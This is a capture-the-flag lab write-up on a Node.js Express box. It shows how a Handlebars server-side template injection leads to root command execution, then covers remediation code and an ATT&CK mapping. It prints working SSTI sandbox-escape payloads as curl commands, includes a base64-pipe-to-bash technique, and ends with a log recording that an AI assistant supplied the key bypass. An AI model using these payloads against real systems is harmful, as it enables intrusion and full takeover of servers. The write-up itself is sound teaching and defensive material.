Box info | OS: Ubuntu Linux 5.0–5.14 (Node.js Express) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: SSTI detection, Handlebars template injection, Node.js RCE, process.mainModule bypass Pwned: 2026-04-28
TL;DR
Bike is a Tier 1 box demonstrating Server-Side Template Injection (SSTI) in a Node.js Express application using Handlebars as the template engine. The app has a single form that accepts an email address and reflects it back. Sending {{7*7}} produces a Handlebars parse error with a full stack trace — immediately revealing the vulnerable file (handlers.js:15) and the template engine name. From here, a multi-step Handlebars sandbox escape via string.sub.constructor → Function → global.process.mainModule.require('child_process').execSync() achieves RCE as root. The flag is at /root/flag.txt. From error message to root shell in under 5 minutes.
Recon
1. Liveness check
$ ping -c 2 10.129.97.64
64 bytes from 10.129.97.64: icmp_seq=0 ttl=63 time=35.0 ms
64 bytes from 10.129.97.64: icmp_seq=1 ttl=63 time=88.2 ms
TTL=63 → Linux.
2. Full port scan
$ sudo nmap -sV -sC -O -p- --min-rate=5000 10.129.97.64
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open http Node.js (Express middleware)
|_http-title: Bike
Device type: general purpose
Running: Linux 5.X
Two ports: SSH (22) and HTTP (80). HTTP is served by Node.js Express — confirmed by the X-Powered-By: Express response header.
3. Web application analysis
curl -s http://10.129.97.64/
A simple under-construction page with a single email subscription form:
<form id="form" method="POST" action="/">
<input name="email" placeholder="E-mail"></input>
<button type="submit" name="action" value="Submit">Submit</button>
</form>
POST a test email:
curl -s -X POST http://10.129.97.64/ -d "email=test@test.com"
Response: <p class="result">We will contact you at: test@test.com</p>
The submitted email is reflected verbatim in the response. Classic SSTI candidate.
Foothold
Dead end #1 — wordlist-based directory fuzzing failed
gobuster dir -u http://10.129.97.64/ -w /usr/share/wordlists/...
# Error: wordlist not found at path
Wordlists at the Kali default path don’t exist on macOS. Not needed anyway — the vulnerability is in the form, not in hidden paths.
Dead end #2 — other template syntaxes don’t execute
curl -s -X POST http://10.129.97.64/ -d 'email=${7*7}'
# → We will contact you at: ${7*7} (not evaluated — EL-style syntax ignored)
curl -s -X POST http://10.129.97.64/ -d 'email=<%= 7*7 %>'
# → We will contact you at: <%= 7*7 %> (HTML-encoded — EJS syntax not in use)
Neither JavaScript template literals nor EJS/Jinja syntax executes. Only Handlebars {{ }} syntax is processed.
Dead end #3 — require not defined in Handlebars eval context
The first RCE attempt used the standard Node.js require function:
curl -s -X POST http://10.129.97.64/ --data-urlencode \
'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('"'"'child_process'"'"').execSync('"'"'id'"'"').toString();"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}'
Response error:
ReferenceError: require is not defined
at Function.eval (eval at createFunctionContext ...)
The Handlebars createFunctionContext wraps the generated code in a function that doesn’t have require in scope. require is available in Node.js module scope but not inside Handlebars’s eval sandbox.
Step 1 — template probe confirms Handlebars
curl -s -X POST http://10.129.97.64/ -d 'email={{7*7}}'
Error response (key excerpt):
["Error: Parse error on line 1:",
"{{7*7}}",
"--^",
"Expecting 'ID', 'STRING', 'NUMBER'..., got 'INVALID'",
" at Parser.parseError (...handlebars/compiler/parser.js:268:19)",
" at router.post (/root/Backend/routes/handlers.js:15:18)",
...]
This single error reveals:
- Template engine: Handlebars
- Vulnerable file:
/root/Backend/routes/handlers.js, line 15 - App runs as root: path is
/root/Backend/... - Error handling leaks stack traces:
res.send(e.stack.split("\n"))in the catch block
Working approach — bypass require with global.process.mainModule
global.process is available in any Node.js context. process.mainModule.require() is the bypass for contexts where require is not directly in scope:
curl -s -X POST http://10.129.97.64/ --data-urlencode \
'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'id'"'"').toString();"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}'
Response:
uid=0(root) gid=0(root) groups=0(root)
RCE as root confirmed.
How the payload works (chain breakdown)
{{#with "s" as |string|}} → bind the string "s" to |string|
{{#with "e"}} → context = "e"
{{#with split as |conslist|}} → conslist = ["e"].split() = ["e"]
{{this.pop}} → remove "e", conslist = []
{{this.push (lookup string.sub "constructor")}}
→ push String.prototype.sub.constructor = Function
{{this.pop}} → pop Function object (consumed)
{{#with string.split as |codelist|}}
{{this.pop}} → remove elements from codelist
{{this.push "return global.process.mainModule.require('child_process').execSync('id').toString();"}}
→ codelist = [our code string]
{{this.pop}}
{{#each conslist}} → iterate conslist (contains Function)
{{#with (string.sub.apply 0 codelist)}}
→ calls Function.apply(null, [codestring])
→ equivalent to: new Function(codestring)()
→ executes our code
The trick: string.sub.constructor = String.prototype.sub.constructor = Function. Then Function.apply(null, [code]) creates and executes an anonymous function with our code.
Flag retrieval
curl -s -X POST http://10.129.97.64/ --data-urlencode \
'email={{#with "s" as |string|}}...{{this.push "return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /root/flag.txt'"'"').toString();"}}...{{/with}}'
Output: [REDACTED]
For commands with special characters (paths with /, =, spaces), base64 encoding helps:
CMD=$(echo 'cat /root/flag.txt' | base64)
# Then in payload:
# execSync("echo BASE64 | base64 -d | bash").toString()
Privilege Escalation
N/A — The Node.js application runs directly as root (as confirmed by uid=0(root) from the id command). The SSTI payload immediately provides a root shell. No privilege escalation step is needed or possible — we are already root.
Root cause of running as root: The Node.js process (/usr/bin/node index.js, PID 1359) was started by the system without dropping privileges. In production, Node.js applications should run as a dedicated low-privilege service user, never as root.
What’s actually broken
handlebars.compile(req.body.email)— user input treated as a Handlebars template. The handler literally compiles user-submitted email strings as Handlebars templates and evaluates them. This is CWE-94 (Code Injection) / SSTI. The fix is trivially simple: don’t compile user input as a template.- Full stack trace returned to the client (
res.send(e.stack.split("\n"))). The error handler sends the complete stack trace, including file paths and line numbers, to any client that triggers an error. This is information disclosure (CWE-209) that turned a black-box test into a white-box test in one request. - Node.js application running as root. The
nodeprocess has uid=0. Any code execution vulnerability immediately gives the attacker full system access. This eliminates the defense-in-depth that a non-privileged service user would provide.
Remediation (the boring half)
Fix the template handler in routes/handlers.js:
// VULNERABLE:
router.post('/', async (req, res) => {
var template = handlebars.compile(req.body.email); // DON'T DO THIS
let result = template({});
res.render('index', { result });
});
// FIXED:
router.post('/', async (req, res) => {
const email = req.body.email;
// Validate email format
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
return res.render('index', { result: 'Invalid email format.' });
}
// Use email as data, not as template
const template = handlebars.compile('We will contact you at: {{email}}');
res.render('index', { result: template({ email }) });
});
Fix error handling:
// VULNERABLE:
} catch (e) {
res.send(e.stack.split("\n")); // exposes stack trace
}
// FIXED:
} catch (e) {
console.error('Template error:', e.message); // log server-side only
res.status(500).render('error', { message: 'An error occurred.' });
}
Run as non-root:
# Create service user
useradd -r -s /bin/false nodeapp
# /etc/systemd/system/bike.service
[Service]
User=nodeapp
Group=nodeapp
ExecStart=/usr/bin/node /root/Backend/index.js
NoNewPrivileges=yes
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1046 — Network Service Discovery | Port scan finds Node.js Express on port 80 |
| Initial Access | T1190 — Exploit Public-Facing Application | SSTI via handlebars.compile(user_input) |
| Execution | T1059.004 — Unix Shell | execSync('id') and execSync('cat /root/flag.txt') via SSTI payload |
| Collection | T1005 — Data from Local System | Reading /root/flag.txt via RCE |
Lessons learned
- Error messages are reconnaissance. The stack trace from
{{7*7}}contained the template engine name, the vulnerable file path, the exact line number, and the fact that the app runs as root. That single bad input reduced a black-box test to a near-white-box test. - SSTI detection is template-syntax agnostic. Test
{{7*7}},${7*7},<%= 7*7 %>,#{7*7}in sequence. The one that causes an error or evaluates to 49 tells you the engine. Each engine has its own sandbox escape technique. requireis not always available in template eval contexts. Handlebars’screateFunctionContextcreates an isolated function scope.global.process.mainModule.require()bypasses this by going through the global object to the module system.- Running web apps as root is catastrophic. A trivial SSTI — which in a properly configured system gives you
www-dataor a limited service account — here gives youuid=0(root)and full system access. Privilege of least function is not optional.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| Handlebars SSTI payload mechanics | “Why doesn’t require work in the Handlebars eval context?” | Explained createFunctionContext creates a function scope without require. Suggested global.process.mainModule.require as the bypass — process is always on global. | Used directly — this was the key insight that unblocked Dead end #3. |
| SSTI payload chain explanation | “Can you break down what each {{#with}} block does in the exploit payload?” | Provided step-by-step breakdown of the string→split→constructor→Function chain. Explained that string.sub.constructor equals the Function constructor because all functions in JS share the same constructor. | Incorporated into the “How the payload works” section verbatim. |
| Base64 command encoding | “How do I pass commands with spaces and slashes to execSync cleanly?” | Suggested: `echo ‘cmd’ | base64→ embed base64 in payload →execSync(“echo BASE64 |
| Running as root detection | “The error shows /root/Backend — does that mean the app runs as root?” | Yes — the path /root/Backend/ is inside root’s home directory. Confirmed by uid=0(root) from id command. Noted the systemd service likely had no User= directive. | Added to the “What’s actually broken” section. |
What Claude got wrong: Gave the require payload first (Dead end #3) before the working global.process.mainModule.require bypass. Required correction.
What Claude couldn’t do: Execute the payload against the live target; all commands ran locally.
Net assist value: High — the global.process.mainModule.require bypass was the critical insight that came from Claude.
